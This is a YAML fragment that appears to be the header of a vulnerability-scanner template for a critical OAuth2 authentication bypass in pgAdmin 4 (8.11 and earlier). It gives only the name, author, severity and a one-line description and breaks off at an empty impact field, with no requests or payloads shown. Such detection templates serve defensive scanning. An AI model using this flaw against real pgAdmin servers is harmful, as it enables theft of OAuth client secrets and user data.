info:
  name: pgAdmin 4 - Authentication Bypass
  author: s4e-io
  severity: critical
  description: |
    pgAdmin 4 versions 8.11 and earlier are vulnerable to a security flaw in OAuth2 authentication. This vulnerability allows an attacker to potentially obtain the client ID and secret, leading to unauthorized access to user data.
  impact: |
